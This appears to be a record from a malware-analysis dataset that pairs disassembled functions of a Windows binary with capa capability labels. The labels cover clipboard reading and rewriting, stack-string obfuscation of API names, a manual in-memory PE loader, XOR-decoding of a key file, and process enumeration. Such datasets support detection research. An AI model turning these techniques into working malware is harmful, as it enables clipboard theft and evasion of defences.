joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40eba4
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push 0xa0
mov eax, 0x51e7f7
call fcn.00502666
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp + 0x1c]
xor esi, esi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40ed83
xor ebx, ebx
inc ebx
push ebx
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x6c], eax
cmp eax, esi
je 0x40ed7d
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
cmp eax, esi
je 0x40ed7d
push eax
lea ecx, [ebp - 0x64]
call fcn.0040b45c
push ebx
push edi
lea ecx, [ebp - 0x8c]
mov dword [ebp - 4], esi
call fcn.0040eb48
push esi
push dword [ebp - 0x68]
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 4], bl
call fcn.0040eaa2
add esp, 0x14
push ebx
push dword [ebp - 0x70]
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 2
call fcn.0040eb48
push esi
push dword [ebp - 0x74]
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 3
call fcn.0040eaa2
add esp, 0x14
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 4
call fcn.0040b4e1
push esi
push ebx
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.00409350
push ebx
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x9c]
call fcn.0040eb48
push esi
push dword [ebp - 0x78]
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 5
call fcn.0040eaa2
add esp, 0x14
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call fcn.0040b4e1
push esi
push ebx
lea ecx, [ebp - 0x48]
call fcn.00409350
push dword [ebp - 0x6c]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call edi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [ebp - 0x1c]
inc eax
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
mov dword [ebp - 0x68], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [ebp - 0x2c]
jae 0x40ed06
lea ecx, [ebp - 0x2c]
push ecx
push eax
call fcn.00504620
pop ecx
pop ecx
push dword [ebp - 0x68]
call edi
push dword [ebp - 0x68]
push ebx
call dword [sym.imp.USER32.dll_SetClipboardData]
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 7
call fcn.0040810b
lea ecx, [ebp - 0x90]
call fcn.00406ef1
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 8
call fcn.0040810b
lea ecx, [ebp - 0xa0]
call fcn.00406ef1
push esi
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00409350
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 9
call fcn.0040810b
lea ecx, [ebp - 0x80]
call fcn.00406ef1
push esi
push ebx
lea ecx, [ebp - 0x64]
call fcn.00409350
call dword [sym.imp.USER32.dll_CloseClipboard]
call fcn.005026e9
ret
Function at 0x40ee9a
Capabilities:
Create thread

Disassembly:
xor eax, eax
cmp byte [0x57b5e5], al
jne 0x40eec2
push eax
push eax
push eax
push 0x40ed89
push eax
push eax
mov byte [0x57b5e5], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
ret
Function at 0x40fbaf
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push str.C:ProgramDatakey.key
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x40fc2a
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.004141c8
pop ecx
push ebx
mov esi, eax
lea eax, [ebp - 8]
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x40fc15
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x40fc0c
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.0040fb65
push esi
mov ebx, eax
call fcn.004141bd
pop ecx
pop edi
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret

Function at 0x40fc38
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi], 0x31
push edi
mov edi, ecx
jne 0x40fc4c
call fcn.0040fbaf
cmp byte [esi], 0x2d
jne 0x40fc58
mov ecx, edi
call fcn.0040fe64
cmp byte [esi], 0x30
jne 0x40fc68
push str.C:ProgramDatakey.key
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [esi], 0x32
jne 0x40fc77
mov dword [0x574b6c], 1
cmp byte [esi], 0x33
jne 0x40fc83
and dword [0x574b6c], 0
cmp dword [0x574b6c], 0
je 0x40fca5
push 0x4d2
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.0040fb4e
mov ecx, edi
call fcn.0040fbaf
pop edi
pop esi
pop ebp
ret 8

Function at 0x40fd20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
push esi
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], ecx
call fcn.00413ad0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
xor ebx, ebx
push eax
mov dword [ebp - 0x24], 0x4e52454b
mov dword [ebp - 0x20], 0x32334c45
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], bl
mov dword [ebp - 0x14], 0x61657243
mov dword [ebp - 0x10], 0x76456574
mov dword [ebp - 0xc], 0x41746e65
mov byte [ebp - 8], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push 1
push ebx
call eax
mov ecx, dword [ebp - 4]
mov dword [esi + 8], eax
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret 4
Function at 0x40fda9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
mov esi, ecx
push eax
mov dword [esi], vtable.CManager.0
mov dword [ebp - 0x20], 0x4e52454b
mov dword [ebp - 0x1c], 0x32334c45
mov dword [ebp - 0x18], 0x6c6c642e
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x736f6c43
mov dword [ebp - 0xc], 0x6e614865
mov dword [ebp - 8], 0x656c64
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esi + 8]
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.005025ee
leave
ret

Function at 0x40fe8d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x50], eax
mov eax, dword [ebx + 4]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x44], eax
push edi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x4e52454b
mov dword [ebp - 0x24], 0x32334c45
mov dword [ebp - 0x20], 0x6c6c642e
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x38], 0x74726956
mov dword [ebp - 0x34], 0x416c6175
mov dword [ebp - 0x30], 0x636f6c6c
mov byte [ebp - 0x2c], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x4356534d
mov dword [ebp - 0x14], 0x642e5452
mov word [ebp - 0x10], 0x6c6c
mov byte [ebp - 0xe], 0
mov dword [ebp - 0xc], 0x736d656d
mov word [ebp - 8], 0x7465
mov byte [ebp - 6], 0
call esi
push eax
call edi
and dword [ebp - 0x40], 0
mov dword [ebp - 0x4c], eax
mov eax, dword [ebx]
movzx ecx, word [eax + 0x14]
lea esi, [ecx + eax + 0x28]
xor ecx, ecx
cmp cx, word [eax + 6]
jae 0x40ffc2
mov edi, 0x1000
mov eax, dword [esi]
test eax, eax
jne 0x40ff85
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x3c], eax
test eax, eax
jle 0x40ffb1
push 4
push edi
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 0x44]
push eax
call dword [ebp - 0x48]
push dword [ebp - 0x3c]
mov dword [esi - 8], eax
push 0
push eax
call dword [ebp - 0x4c]
add esp, 0xc
jmp 0x40ffb1
push 4
push edi
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 0x44]
push eax
call dword [ebp - 0x48]
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
push ecx
mov ecx, dword [0x57c184]
push eax
call fcn.00410776
mov eax, dword [ebp - 0x3c]
mov dword [esi - 8], eax
mov eax, dword [ebx]
movzx eax, word [eax + 6]
inc dword [ebp - 0x40]
add esi, 0x28
cmp dword [ebp - 0x40], eax
jl 0x40ff53
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.005025ee
leave
ret
Function at 0x40ffd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebx]
movzx ecx, word [eax + 0x14]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x38], eax
push edi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x4e52454b
mov dword [ebp - 0x10], 0x32334c45
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], 0
mov dword [ebp - 0x20], 0x74726956
mov dword [ebp - 0x1c], 0x466c6175
mov dword [ebp - 0x18], 0x656572
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x30], 0x74726956
mov dword [ebp - 0x2c], 0x506c6175
mov dword [ebp - 0x28], 0x65746f72
mov word [ebp - 0x24], 0x7463
mov byte [ebp - 0x22], 0
call esi
push eax
call edi
and dword [ebp - 0x3c], 0
mov dword [ebp - 0x44], eax
mov eax, dword [ebx]
xor ecx, ecx
cmp cx, word [eax + 6]
jae 0x41011d
mov ecx, dword [ebp - 0x38]
add ecx, 0x24
mov dword [ebp - 0x38], ecx
mov esi, dword [ecx]
mov dword [ebp - 0x34], esi
mov edi, esi
mov edx, dword [ebp - 0x34]
shr esi, 0x1d
shr edi, 0x1e
shr edx, 0x1f
and esi, 1
and edi, 1
test dword [ebp - 0x34], 0x2000000
mov dword [ebp - 0x40], edx
je 0x4100b8
push 0x4000
push dword [ecx - 0x14]
push dword [ecx - 0x1c]
call dword [ebp - 0x48]
jmp 0x410102
test dword [ebp - 0x34], 0x4000000
lea edx, [edi + esi*2]
mov esi, dword [ebp - 0x40]
lea edx, [esi + edx*2]
mov esi, dword [edx*4 + 0x574d24]
je 0x4100d7
or esi, 0x200
mov edx, dword [ecx - 0x14]
test edx, edx
jne 0x4100f6
test byte [ebp - 0x34], 0x40
je 0x4100e9
mov edx, dword [eax + 0x20]
jmp 0x4100f2
test byte [ebp - 0x34], 0x80
je 0x410105
mov edx, dword [eax + 0x24]
test edx, edx
je 0x410105
lea eax, [ebp - 0x4c]
push eax
push esi
push edx
push dword [ecx - 0x1c]
call dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebx]
movzx edx, word [eax + 6]
inc dword [ebp - 0x3c]
add ecx, 0x28
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x3c], edx
jl 0x410083
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.005025ee
leave
ret
Function at 0x4101a6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x48], eax
push edi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x28], 0x4e52454b
mov dword [ebp - 0x24], 0x32334c45
mov dword [ebp - 0x20], 0x6c6c642e
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x38], 0x61427349
mov dword [ebp - 0x34], 0x61655264
mov dword [ebp - 0x30], 0x72745064
mov byte [ebp - 0x2c], 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x4356534d
mov dword [ebp - 0x14], 0x642e5452
mov word [ebp - 0x10], 0x6c6c
mov byte [ebp - 0xe], 0
mov dword [ebp - 0xc], 0x6c616572
mov dword [ebp - 8], 0x636f6c
call ebx
push eax
call edi
mov dword [ebp - 0x5c], eax
mov eax, dword [esi]
cmp dword [eax + 0x84], 0
jbe 0x410357
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x48]
push 0x14
push eax
mov dword [ebp - 0x40], eax
call dword [ebp - 0x58]
test eax, eax
jne 0x410357
mov eax, dword [ebp - 0x40]
add eax, 0x10
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax - 4]
test eax, eax
je 0x410357
add eax, dword [ebp - 0x48]
push eax
call ebx
mov dword [ebp - 0x40], eax
test eax, eax
je 0x410353
mov eax, dword [esi + 0xc]
lea eax, [eax*4 + 4]
push eax
push dword [esi + 8]
call dword [ebp - 0x5c]
pop ecx
pop ecx
mov dword [esi + 8], eax
test eax, eax
je 0x410353
mov ecx, dword [esi + 0xc]
mov edx, dword [ebp - 0x40]
mov dword [eax + ecx*4], edx
inc dword [esi + 0xc]
mov edx, dword [ebp - 0x44]
mov ecx, dword [edx - 0x10]
mov edx, dword [edx]
test ecx, ecx
je 0x4102dc
mov eax, dword [ebp - 0x48]
add ecx, eax
mov dword [ebp - 0x3c], ecx
add edx, eax
jmp 0x4102e4
add edx, dword [ebp - 0x48]
mov dword [ebp - 0x3c], edx
mov ecx, edx
mov eax, dword [ecx]
test eax, eax
je 0x410333
mov dword [ebp - 0x50], edx
sub dword [ebp - 0x50], ecx
jmp 0x4102f5
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x50]
add edx, ecx
mov dword [ebp - 0x54], edx
test eax, eax
jns 0x410308
and eax, 0xffff
jmp 0x41030e
add eax, dword [ebp - 0x48]
add eax, 2
push eax
push dword [ebp - 0x40]
call edi
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, ecx
cmp dword [eax], 0
je 0x41032f
add dword [ebp - 0x3c], 4
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
test eax, eax
jne 0x4102f2
jmp 0x410333
and dword [ebp - 0x4c], 0
cmp dword [ebp - 0x4c], 0
je 0x410357
add dword [ebp - 0x44], 0x14
mov eax, dword [ebp - 0x44]
push 0x14
add eax, 0xfffffff0
push eax
call dword [ebp - 0x58]
test eax, eax
je 0x41027b
jmp 0x410357
and dword [ebp - 0x4c], 0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x4c]
pop edi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret
Function at 0x4103f8
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x64], eax
push edi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
mov dword [ebp - 0x14], 0x4e52454b
mov dword [ebp - 0x10], 0x32334c45
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], bl
mov dword [ebp - 0x40], 0x65657246
mov dword [ebp - 0x3c], 0x7262694c
mov dword [ebp - 0x38], 0x797261
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x28], 0x70616548
mov dword [ebp - 0x24], 0x65657246
mov byte [ebp - 0x20], bl
call esi
push eax
call edi
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x4c], 0x74726956
mov dword [ebp - 0x48], 0x466c6175
mov dword [ebp - 0x44], 0x656572
call esi
push eax
call edi
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x5c], 0x50746547
mov dword [ebp - 0x58], 0x65636f72
mov dword [ebp - 0x54], 0x65487373
mov word [ebp - 0x50], 0x7061
mov byte [ebp - 0x4e], bl
call esi
push eax
call edi
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x34], 0x4356534d
mov dword [ebp - 0x30], 0x642e5452
mov word [ebp - 0x2c], 0x6c6c
mov byte [ebp - 0x2a], bl
mov dword [ebp - 0x1c], 0x65657266
mov byte [ebp - 0x18], bl
call esi
push eax
call edi
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x60], eax
cmp esi, ebx
je 0x410562
cmp dword [esi + 0x10], ebx
je 0x41051f
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov ecx, dword [ecx + 0x28]
push ebx
push ebx
push eax
add ecx, eax
call ecx
mov dword [esi + 0x10], ebx
cmp dword [esi + 8], ebx
je 0x410548
xor edi, edi
cmp dword [esi + 0xc], ebx
jle 0x410541
mov eax, dword [esi + 8]
lea eax, [eax + edi*4]
cmp dword [eax], 0xffffffff
je 0x41053b
push dword [eax]
call dword [ebp - 0x6c]
inc edi
cmp edi, dword [esi + 0xc]
jl 0x41052b
push dword [esi + 8]
call dword [ebp - 0x60]
pop ecx
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x410559
push 0x8000
push ebx
push eax
call dword [ebp - 0x74]
push esi
push ebx
call dword [ebp - 0x68]
push eax
call dword [ebp - 0x70]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret
Function at 0x410571
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
mov word [eax], 0x5a4d
cmp word [eax], cx
je 0x41058c
xor eax, eax
leave
ret
push esi
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
je 0x4105a1
xor eax, eax
jmp 0x410694
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
mov ebx, 0x2000
push ebx
push dword [esi + 0x50]
push dword [esi + 0x34]
call edi
mov dword [ebp - 4], eax
test eax, eax
jne 0x4105d4
push 4
push ebx
push dword [esi + 0x50]
push eax
call edi
mov dword [ebp - 4], eax
test eax, eax
je 0x410689
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov eax, dword [ebp - 4]
push 4
xor ecx, ecx
push 0x1000
mov dword [ebx + 4], eax
mov dword [ebx + 0xc], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0x10], ecx
push dword [esi + 0x50]
push eax
call edi
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0x3c]
add ecx, dword [esi + 0x54]
mov dword [ebp - 8], eax
push ecx
mov ecx, dword [0x57c184]
push edi
push eax
call fcn.00410776
mov eax, dword [edi + 0x3c]
add eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push esi
mov dword [ebx], eax
push edi
mov dword [eax + 0x34], ecx
call fcn.0040fe8d
mov edi, dword [ebp - 4]
mov eax, edi
sub eax, dword [esi + 0x34]
pop ecx
pop ecx
je 0x410658
push eax
mov eax, ebx
call fcn.0041012b
pop ecx
mov esi, ebx
call fcn.004101a6
test eax, eax
je 0x410682
call fcn.0040ffd0
mov eax, dword [ebx]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x410690
add eax, edi
je 0x410682
push 0
xor esi, esi
inc esi
push esi
push edi
call eax
test eax, eax
jne 0x41068d
push ebx
call fcn.004103f8
pop ecx
xor eax, eax
jmp 0x410692
mov dword [ebx + 0x10], esi
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x411b58
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor ebx, ebx
push ebx
mov dword [ebp - 0x54], eax
call esi
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x50], 0x61657243
mov dword [ebp - 0x4c], 0x6f546574
mov dword [ebp - 0x48], 0x65686c6f
mov dword [ebp - 0x44], 0x3233706c
mov dword [ebp - 0x40], 0x70616e53
mov dword [ebp - 0x3c], 0x746f6873
mov byte [ebp - 0x38], bl
mov dword [ebp - 0x14], 0x4e52454b
mov dword [ebp - 0x10], 0x32334c45
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push 2
call eax
push ebx
mov dword [ebp - 0x58], eax
call esi
push 0x128
call fcn.0041418e
pop ecx
push ebx
mov edi, eax
call esi
push ebx
mov dword [edi], 0x128
call esi
push ebx
call esi
push edi
push dword [ebp - 0x58]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x411cc9
push ebx
call esi
push ebx
call esi
push dword [ebp - 0x54]
mov ecx, dword [0x57c184]
lea eax, [edi + 0x24]
push eax
call fcn.004106a7
push ebx
test eax, eax
jne 0x411c52
call esi
push ebx
call esi
mov eax, dword [edi + 8]
push edi
mov dword [ebp - 0x54], eax
call fcn.004141bd
pop ecx
push ebx
call esi
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret
call esi
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x34], 0x636f7250
mov dword [ebp - 0x30], 0x33737365
mov dword [ebp - 0x2c], 0x78654e32
mov word [ebp - 0x28], 0x74
mov dword [ebp - 0x24], 0x4e52454b
mov dword [ebp - 0x20], 0x32334c45
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push dword [ebp - 0x58]
mov dword [ebp - 0x5c], eax
call eax
jmp 0x411cc5
push ebx
call esi
push dword [ebp - 0x54]
lea eax, [edi + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push ebx
test eax, eax
je 0x411cda
call esi
push edi
push dword [ebp - 0x58]
call dword [ebp - 0x5c]
test eax, eax
jne 0x411ca7
push ebx
call esi
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x54], ebx
jmp 0x411ce2
call esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x54], eax
push edi
call fcn.004141bd
pop ecx
push ebx
call esi
mov eax, dword [ebp - 0x54]
jmp 0x411c43
Function at 0x411e57
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
push edi
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
xor edi, edi
push edi
mov byte [ebp - 8], al
call esi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
mov dword [ebp - 4], eax
call esi
lea eax, [ebp + 0x20]
push eax
push dword [ebp + 0x18]
lea eax, [ebp - 0x10]
push eax
push 0x411dcb
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00505761
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x411fe5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.00411eed
pop ecx
mov esi, eax
mov eax, dword [ebp - 4]
pop ecx
xor ecx, ecx
test esi, esi
jle 0x412018
mov dl, byte [ecx + eax]
add dl, 0x6d
xor dl, 0x13
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x412007
pop esi
leave
ret

Function at 0x41201b
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x52e530
lea edi, [ebp - 0x134]
mov ebx, 0xfd
movsw word es:[edi], word [esi]
push ebx
lea eax, [ebp - 0x131]
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.00502190
mov esi, 0x52e52c
lea edi, [ebp - 0x234]
movsw word es:[edi], word [esi]
push ebx
lea eax, [ebp - 0x231]
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.00502190
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x134]
push eax
call fcn.00504630
add esp, 0x20
push 4
pop eax
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x244], eax
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x34]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x34], 0x44524148
mov dword [ebp - 0x30], 0x45524157
mov dword [ebp - 0x2c], 0x5345445c
mov dword [ebp - 0x28], 0x50495243
mov dword [ebp - 0x24], 0x4e4f4954
mov dword [ebp - 0x20], 0x7379535c
mov dword [ebp - 0x1c], 0x5c6d6574
mov dword [ebp - 0x18], 0x746e6543
mov dword [ebp - 0x14], 0x506c6172
mov dword [ebp - 0x10], 0x65636f72
mov dword [ebp - 0xc], 0x726f7373
mov word [ebp - 8], 0x305c
mov byte [ebp - 6], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x244]
push eax
push 0
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x238]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x238]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x23c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret